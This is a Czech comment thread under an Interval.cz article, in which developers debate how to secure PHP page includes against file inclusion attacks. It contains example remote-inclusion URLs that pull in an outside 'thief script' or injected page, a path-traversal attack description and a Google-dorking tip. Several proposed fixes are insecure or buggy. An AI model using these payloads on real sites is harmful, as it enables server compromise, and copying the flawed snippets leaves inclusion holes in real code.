<a href='http://www.mujserver.cz/?include=stranka' target='_blank'>http://www.mujserver.cz/?include=stranka</a> - tak je potreba zajistit aby to ve zdrojaku nevypadalo tak ze udelas include ($_GET['stranka']) - pak ti tam nekdo zada treba <a href='http://www.mujserver.cz/?include=http://www.jehoserver.cz/jehozlodeskyskript.txt' target='_blank'>http://www.mujserver.cz/?include=http://www.jehoserver.cz/jehozlodeskyskript.txt</a>

A mas vydelano :) O tom ten clanek cely je, pokud obsahem jehozlo... bude treba vtipek na prochazeni a listovani souboru v adresarove strukture tak ti zjisti pristup. heslo do databaze a pak ti ji treba dropne...

Avatar

Autor komentáře: Vita

Datum vložení: 12.5.2003 8:44:49

Hmmm ;)))
<a href='http://www.auto.cz/auto.phtml?pm1=2&pm2=0&pm3=http://www.pooh.cz' target='_blank'>http://www.auto.cz/auto.phtml?pm1=2&pm2=0&pm3=http://www.pooh.cz</a>

Avatar

Autor komentáře: .

Datum vložení: 12.5.2003 11:34:53

Tady je to ovsem jako iframe, tedy kod se zpracuje na serveru ktery je odkazovan a ne jako include.

PS: Takto napadnutelne servery jde pomerne jednoduse vyhledavat na google.

Avatar

Autor komentáře: Vita

Datum vložení: 12.5.2003 20:09:48

Neni to tak davno co jsem se bavil pomoci hledani frazi jako mysql_connect ().

Nekteri lide proste nepochopi proc se souborum nemaji davat koncovky .inc ;)

Avatar

Autor komentáře: Michal Kubeček

Datum vložení: 12.5.2003 20:29:11

Já jim někdy dávám příponu inc. Jenže pak mám na serveru nastaveno, aby soubory se jménem končícím na '.inc' nikomu neposílal.

Ale zrada může být i s příponou php. Některé editory totiž vyrábějí záložní soubory se stejným jménem, pouze nakonec přidají '~' nebo '.bak'. A ty samozřejmě jako PHP interpretovány nejsou...

Avatar

Autor komentáře: lojza

Datum vložení: 18.1.2004 17:10:08

No jo, ale soubory s tildou (asi myslite EMACS) prece nenahravam na server. Pokud to tedy rovnou na serveru nedelam.

Avatar

Autor komentáře: jakub

Datum vložení: 10.5.2003 22:42:51

uz pred rokem jsem psal na builder tenhle priklad (pravda bez overovani existence):

<?php
$stranky = array(
1=>"uvod.php",
2=>"priloha.php",
3=>"cenik.php"
);

$cislo = $_GET["page"]+0; //(to s int je elegantnejsi)
if($cislo<1||$cislo>sizeof($stranky)){
$soubor = $stranky["cislo"]; //index je v poradku
}else{
$soubor = "uvod.php"; //index je mimo rozsah, tak zde nastavim default
}

if(!@file_exists($soubor)){
echo("< p >Obsah stránky se připravuje< /p >");//soubor neexistuje, tak neco vymluvneho
}else{
@require($soubor); //soubor existuje, tak nacist
}

?>

vyhody:
1) at jiz napisete do index.php?page=xxxxx cokoliv, tak to v nejhorsim vzdy vybleje uvodni stranku nebo okecavaci hlasku o priprave obsahu
2) adresare se mohou lisit, misto pole si pouzijte databazi (index bude id v databazi) ...

uprimne nechapu permanentni snahu skladat nazev vkladaneho souboru z informaci z url - cili dle meho nejmene duveryhodneho zdroje - to napali i lama

ja myslim, ze ani tak nejdo o to jestli se nekomu podari includovat neco jineho (at jiz tajneho nebo ne), tady jde o to, aby aplikace delala striktne to, co se od ni ceka

Avatar

Autor komentáře: Vita

Datum vložení: 10.5.2003 22:54:40

Souhlas i kdyz ty to testujes dost zbesile (navic spatne, ne?). Vhodnejsi by bylo proste testnout to pomoci in_array nez pofiderni if - pripadne se na to vybodnout uplne a rovnou spachat
include ($stranky [$_GET['cislo']] ? $stranky [$_GET['cislo']] : "nakachyba.php");

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 0:11:10

tak je to rok stary, ted jsem tam pripichnul tu ochranu, jinak
if(in_array($_GET["page"],array_keys($stranky))) ... //jestli jsem nepopletl parametry

kazdopadne tohle je pro web s 10ti strankama, cokoliv vic, zacina byt neprehledne a stejne pak dojde na dotaz do db ("SELECT * FROM stranky WHERE id='".($_GET["page"]+0)."'"), ...

ad ten uvedeny kod - je to strucnejsi, to urcite, nicmene to jaksi nedava moznost krok za krokem osetrovat chyby, zjistit, kde se stala apod. - ale spis to bude vec vkusu (a v tomhle pripade asi stejne jedno) ...

Avatar

Autor komentáře: jakub

Datum vložení: 11.5.2003 13:49:44

ted mozna trochu OT, ale zminim to:
napriklad pri dotazu do DB si taky vysledek ulozite do promenne, pak posuzujete, jestli dotaz zkolaboval nebo jestli prosel.
Pokud prosel, pak jestli vraci 0 nebo jiny pocet zaznamu, ...
Kazdou situaci si pak zapisujete do logu a v pripade neshod staci zapnout vypisovani logu na vystup.

Avatar

Autor komentáře: Vita

Datum vložení: 11.5.2003 13:53:12

Jo, presne na tohle mam funkcni ktera to temer do pismene dela. :)

Avatar

Autor komentáře: yb

Datum vložení: 13.5.2003 11:52:08

dobry den,

chtel jsem se zeptat, jestli by pri volani napr.:

<a href='http://www.domena.cz/index.php?page=jmeno_include' target='_blank'>http://www.domena.cz/index.php?page=jmeno_include</a>

nestacilo jako zabezpeceni v souboru index.php toto :

<?
if ( substr_count ( $page, "<a href='http://"' target='_blank'>http://"</a> ) > 0 ) { die(); }
include $page.".php";
?>

predem dekuji za odpoved
-=YB=-

Avatar

Autor komentáře: jakub

Datum vložení: 13.5.2003 13:10:07

no, tim docilite pouze toho, ze to nebude brat z jinych serveru, nicmene aplikace, ktera potrebuje toto, by mozna potrebovala zmenit od zakladu ...

Avatar

Autor komentáře: yb

Datum vložení: 13.5.2003 15:31:15

...ale to je preci ucel... nehlede na to, ze jednoradkova ochrana misto nekolika radek overovani je myslim efektnejsi...

Avatar

Autor komentáře: jakub

Datum vložení: 14.5.2003 0:26:55

Tohle neresi vubec nic, protoze Vy predevsim vubec nemate sestavovat parametr pro include/require primo z $_GETu, nybrz tam MUSI byt mezikrok, ktery dusledne odfiltruje mozny zpusob utoku.

Jediny spolehlivy zpusob je vyber z _predem danych_ moznosti, kdyz nesplnuje, tak default. Tahle ochrana je naprd - a to to rikam hodne slusne.

Avatar

Autor komentáře: yb

Datum vložení: 14.5.2003 14:12:32

...at premyslim, jak premyslim, tak me nenapada zpusob, jak na takto zabezpecenou aplikaci zautocit pomoci include...

kdyby se to jeste vypilovalo, mohlo by to vypadat napr. takto :

<?
if ( substr_count ( strtolower( $page ), "http" ) > 0 || substr_count ( $page, "." ) > 0 || !file_exists ( $page.".php" ) ) { die(); }

include $page.".php";
?>

jestli Vas napada nejaky konkretni zpusob jak to obejit, budu Vam vdecny

hezky den,
-=YB=-

Avatar

Autor komentáře: jakub

Datum vložení: 14.5.2003 14:29:20

tak tady uz jsme zase nekde jinde - predevsim hodne udela file_exists ..., ktery navic na kontrolu souboru na cizich serverech vraci false, tudiz kontrola na http je zbytecna ...

Avatar

Autor komentáře: jakub

Datum vložení: 14.5.2003 14:32:30

btw:
php manual: <I>file_exists() nefunguje na vzdálených souborech; soubor k ověření musí být přístupný prostřednictvím filesystému serveru. </I>

navic mi to furt pripada jako snaha za kazdou cenu prosadit rekneme ne zrovna idealni reseni (nerikam, ze nefunguje)

Avatar

Autor komentáře: yb

Datum vložení: 14.5.2003 18:52:53

diky za info, s tim file_exists na vzdalenych serverech me to nenapadlo...

jinak jasne, neni to obecne idealni reseni - ale kdyz mate napr. 500 skriptu, ktere se mohou include nebo neustale promenlivy pocet skriptu k include, tak vyber z predem danych moznosti by byl neprilis vhodny...

kazdopadne dik za info a odpovedi :-)
-=YB=-

Avatar

Autor komentáře: jakub

Datum vložení: 14.5.2003 19:04:39

no takze 500 skriptu budete resit includem, kde parametr budete sestavovat z url? - tak si to zkusebne zkuste, prolinkujte a udelejte navigace - pak to z 50% zmente a muzete se jit zastrelit

predem dane zname moznosti muze znamenat take to, ze jmena skriptu budou v databazi

1 | index.php
2 | cokoliv.php
3 | none | obsah stranky je primo v databazi
...

uprimne nad 10 stranek jdete rovnou do databaze ...

Avatar

Autor komentáře: pepak

Datum vložení: 15.5.2003 16:40:43

1) Jsou i jine protokoly nez PHP
2) Tohle reseni vubec neuvazuje, ze by nekdo mohl chtit vkladat jinej soubor (nejen PHP) z tehoz serveru.

Avatar

Autor komentáře: pepak

Datum vložení: 15.5.2003 16:42:14

Zase pisu rychlejc nez premejslim. "... jine protokoly nez HTTP" samozrejme

Avatar

Autor komentáře: Vitek Moser

Datum vložení: 13.7.2003 19:24:56

Ja pouzivam jednu bunku, kde includuju podle toho, co zvolim takto:

<?
if (!isset($id)) {$id=0;}
$stranka[0]="hlavni.html";
$stranka[1]="srazy.html";
$stranka[2]="kniha.php";
include($stranka[$id]);
?>

pote kdyz kliknu na nejaky odkaz, vzdy mu pridam id, takze vypada asi takto:

<a href=<a href='http://neco.wz.cz/index.php?id=cislo>' target='_blank'>http://neco.wz.cz/index.php?id=cislo></a>
- tady by bylo tedy cislo bud 0, 1 nebo 2

A ted mi reknete, je to takhle dobre nebo spatne? Muze mne tam nekdo neco "nahodit"? Myslim, ze ne, ale rad bych to mel potvrzene...

Predem diky za jakekoliv odpovedi.

Avatar

Autor komentáře: -=YB=-

Datum vložení: 16.7.2003 13:08:46

ahoj Vitku,

myslim ze by to slo napadnout napriklad nasledovne :

<a href='http://neco.wz.cz/index.php?id=3&stranka[3]=http://www.xyz.cz/nahozeni.php' target='_blank'>http://neco.wz.cz/index.php?id=3&stranka[3]=http://www.xyz.cz/nahozeni.php</a>

tomu ale zabranis, kdyz pridas radek :
$stranka = array();
tedy :

<?
if (!isset($id)) {$id=0;}
$stranka = array();
$stranka[0]="hlavni.html";
$stranka[1]="srazy.html";
$stranka[2]="kniha.php";
include($stranka[$id]);
?>

Avatar

Autor komentáře: awesome

Datum vložení: 15.8.2003 8:30:40

Myslim, ze vase ukazka neosetrila hlavni slabinu, jako ID muzu zadat cokoli - tedy napr. AA a v tu chvili mam Undefined index: AA in index.php on line XX :-(

Z pohledu dnesniho pristupu k promennym bych to upravil asi takhle:

// timhle si usetris psani, i kdyz zase nevidis, ktera stranka ma ktere id
$stranka = array("index.php", "kontakt.php", "nabidka.php");

// implicitne se nacte index.php
if (!IsSet($_GET['id'])) $_GET['id'] = 0;

// osetreni vstupu pouze na cisla - zbytek v URL to proste ignoruje
// pri chybe (napr. zadani id=xx) je vystupem 0 -> zobrazi uvodni stranku
include ($stranka[(int)$_GET['id']]);

Dalsim osetrenim by mohlo byt testovani hodnoty promenne id v danem intervalu. Napr.
$id = (int)$_GET['id'];
if ($id >= count ($stranka)):
// osetreni stavu, kdy pozaduji id, kteremu neodpovida zadna stranka
include ($stranka[0]); // treba
else:
include ($stranka[$id]);
endif;

Takhle je to doopravdy zabezpecene.

Avatar

Autor komentáře: jakub

Datum vložení: 15.8.2003 10:38:00

ehm dobry, ale uz je to tu minimalne trikrat, jen si tu diskuzi precist ...

Avatar

Autor komentáře: Vitek Moser

Datum vložení: 25.8.2003 2:09:54

A nemel by byt ten konec (co se $id tyce), opet osetren pomoci $_GET["id"]? Za predpokladu, ze bych u toho konce cele $id premenil treba na $id_checked, tedy:

$_GET["idchecked"] = (int)$_GET["id"];
if ($_GET["idchecked"] >= count ($stranka)):
include ($stranka[0]); // treba
else:
include ($stranka[(int)$_GET["idchecked"]]);
endif;

Myslim tim, abychom se vyvarovali superglobalnich promennych...?

Avatar

Autor komentáře: jakub

Datum vložení: 25.8.2003 9:16:20

1. $_GET, $_POST ... jsou superglobalni
2. $id = (int)$_GET['id']; //je osetrene vytvoreni promenne,

imho, na ten prispevek, co pisete bych radeji zapomnel, je to trosku pate pres devate

Avatar

Autor komentáře: zdenekold

Datum vložení: 31.7.2004 21:42:25

Sice již uběhla nějaká doba od vložení tohoto příspěvku, nicméně bych dodal, že řešení "awesome" se mi v principu líbilo, tak jsem ho použil, ale pár vylepšení bych ještě doporučil: záporná čísla!! (třeba hned u toho !IsSet).
if (!IsSet($_GET['id']) || ($_GET['id']) <0) $_GET['id'] = 0;
a také u include ošetření na existenci souboru (file_exists) - náhoda je blbec a soubor nemusí na serveru být.

Avatar

Autor komentáře: Mike

Datum vložení: 13.9.2003 15:00:47

Moje php je asi rozbitý :-)) nemusim vkládat žádný ochrany .. ono je to blokuje samo :))

Avatar

Autor komentáře: Radim Štandl

Datum vložení: 30.1.2004 11:53:36

Tak to je fakt <B>SUPR</B>, místo abych se dozvěděl něco novýho a fakt dobrýho, tak je tady milión pět článků, který sou v principu na prd. Jenom se tady hádáte a co z toho? Nebylo by do prdele lepší aby ste se dali všichni dohromady a vytvořili pořadnej script kterej bude fakt fungovat a nebude napadnutelnej? PS: omlouvám se za do prdele :) S pozdravem Radim

Avatar

Autor komentáře: Petr Halva

Datum vložení: 27.3.2004 14:22:01

Hmmm.... To samé mě napadlo asi v půlce příspěvků, když se to svezlo k řešení bezpečnosti na unixu (myslím, že jsme řešili include). Protože patřím k těm začínajícím, tak bych taky ocenil spíše konkrétní řešení. Mám totiž pocit, že téměř každý, kdo sem přispívá má své dokonalé řešení, ale nikdo se o něj nechce podělit ... :-)
A tak PROSÍM za ty, kteří to sami nezvládnou - NAPIŠTE NĚCO, CO JE OPRAVDU DOBRÉ!
DĚKUJI!

Avatar

Autor komentáře: jakub

Datum vložení: 27.3.2004 14:27:05

omfg, dyt je to popsane mezi radky, takze prosim za ty co mysli:
NEBUDTE LINY A MYSLETE, to je doprkynka tak tezky se zamyslet????

Avatar

Autor komentáře: Václav Prokop

Datum vložení: 16.8.2005 20:05:46

Na co myslet? Oni sou profici a jsou tu jen od kritiky a od hadek

Avatar

Autor komentáře: Pin007

Datum vložení: 28.4.2004 21:55:18

moje.stranka.cz/index.php?castjmenaskriptu=blog

cilem je include souboru mod.blog.php

index.php:

if(!include(basename('modul.'.$castjmenaskriptu.'.php'))){
print 'chybka!';
}

Nejen ze znehodnotim zacatek celeho stringu, ktery se ma includovat, ale jeste si z nej beru jen ten basename, coz by mohlo stacit ne?

Avatar

Autor komentáře: Pin007

Datum vložení: 29.4.2004 11:42:01

nebo asi spis takhle

include('modul.'.basename($castjmenaskriptu).'.php')

Avatar

Autor komentáře: The Root

Datum vložení: 2.5.2004 20:46:43

Upozornil bych jeste na chybu, pres kterou lze obejit posldni jmenovany zpusob. Pokud jsou soubory na serveru, kde si muze hacker take zalozit hosting, muze pote vytvorit soubor neco.php kam napise vlastni kod a k souboru se dostat stylem app=../../../../../../../../../adresar/na/serveru/hacker/neco.php a soubor se mu includuje, protoze file existsa protoze ma prava pro cteni (zalezi na nastaveni serveru, nekde to nedovoli)... Pote jiz muze napriklad zmenit prava souboru index.php a primo si ho upravit skriptem pro primy utok na adresar uzivatele =)

Avatar

Autor komentáře: Pin00

Datum vložení: 9.5.2004 3:26:32

To se u posledniho jmenovaneho ale nepodari prave diky basename(), ktere mi vrati ne celou byt relativni adresu ale pouze "neco.php", ktery neexisuje ...

Avatar

Autor komentáře: Pin007

Datum vložení: 9.5.2004 3:27:38

nejak mi blbne klofna :)

Avatar

Autor komentáře: spook

Datum vložení: 31.12.2004 16:27:01

tak to je dobry. do dneska jsem ani netusil ze je include tak nebezpecny.

ale spatky k dotazu

chtel jsem si optimalizovat stranku pro vyhledavac jyxo.cz( ten vynechava nektere me stranky s parametry )

a na sovavsiti.cz a root.cz jsem nasel clanky o prepisovani URL pomoci mod_rewrite?

tim by se dalo zabranit, zobrazeni nekterych stranek

a tak jsem se chtel zeptat jestli bych to tak moch ze zacatku udelat?

nebo se to taky snadno napadnout?
mate s tim nekdo zlusenosti?

Avatar

Autor komentáře: spook

Datum vložení: 1.1.2005 23:47:27

musim se za tuhle otazku omluvit

jen co sem to vyskouse tak sem zjistil ze je to kravina

Avatar

Autor komentáře: Aldaris

Datum vložení: 16.2.2005 21:49:01

http://neco.wz.cz/index.php?sekce=nazov_suboru_bez_pripony 1. odstranim z nazov_suboru_bez_pripony vsetko co nie su pismena 2. k nazov_suboru_bez_pripony pridam priponu .php 3. overim ci subor existuje 4. includujem...

Avatar

Autor komentáře: to je jedno

Datum vložení: 1.6.2005 21:46:54

Je při použití té staré metody include bezpečně ochránit include soubory pomocí tohoto kódu? if (!defined("konstanta")) { header("Location: ...goto404.php"); exit; } kde ta konstanta je definována jen v souboru, do kterého se to vkládá?

Avatar

Autor komentáře: Fanda

Datum vložení: 20.6.2005 12:17:41

Dobrý den, po přečtění celého seriálu, mi vyplývá, že základní 'standard' zabezpečení v php je tedy: a) includovat 'natvrdo', případně pozorně b) pro autentifikaci používat (a vyžadovat) cookies c) na vkládaný html kód používat htmlspecialchars() d) kontrolu předávaných parametrů a pužívání $_POST, GET... považuji za samozřejmou A podle potřeby vytvářet skulinky v tomto 'standardu'. Teď nemám na mysli dokonalé zabezpečení, ale základní hladinu zabezpečení.

Avatar

Autor komentáře: Pat

Datum vložení: 18.1.2007 19:31:40

Zdravim, vim, ze je to jiz stara diskuze, ale zajimalo by me, jestli tento kousek kodu by pro include stranky pres promennou byl bezpecny? switch ($_GET['str']) { case "str1": $vlozit_php = "stranka1.php"; break; case "str2": $vlozit_php = "stranka2.php"; break; case "str3": $vlozit_php = "stranka3.php"; break; case "str4": $vlozit_php = "stranka4.php"; break; case "str5": $vlozit_php = "stranka5.php"; break; case "str6": $vlozit_php = "stranka6.php"; break; default: $vlozit_php = "stranka1.php"; } a pak nekde uprostred, kam to potrebuju dam: if (file_exists($vlozit_php)) { include $vlozit_php; } else { include 'stranka1.php'; } v podstate by mi mel switch otestovat, jestli ma promenna spravnou hodnotu a pro vsechny ostatni pripady vlozi stranka1.php ne? Predem diky

Avatar

Autor komentáře: trane

Datum vložení: 26.2.2008 22:07:03

no neviem, ci sa nemylim ale nieje to najlepsie urobit cez switch, vlastne podla mna, mozno to neovladam ale nieje ako sa dostat k nazvom suborov ak ich priradujete premennej pomocou vhodneho oznacenia a ak dany subor nejestvuje, nevyhovuje ani jednej hodnote, tak je dana automatisky moznost default, ja to pouzivam asi na 3 weboch a nemal som s tym zatial niaky problem

Zpět na článek | Úvodní stránka Interval.cz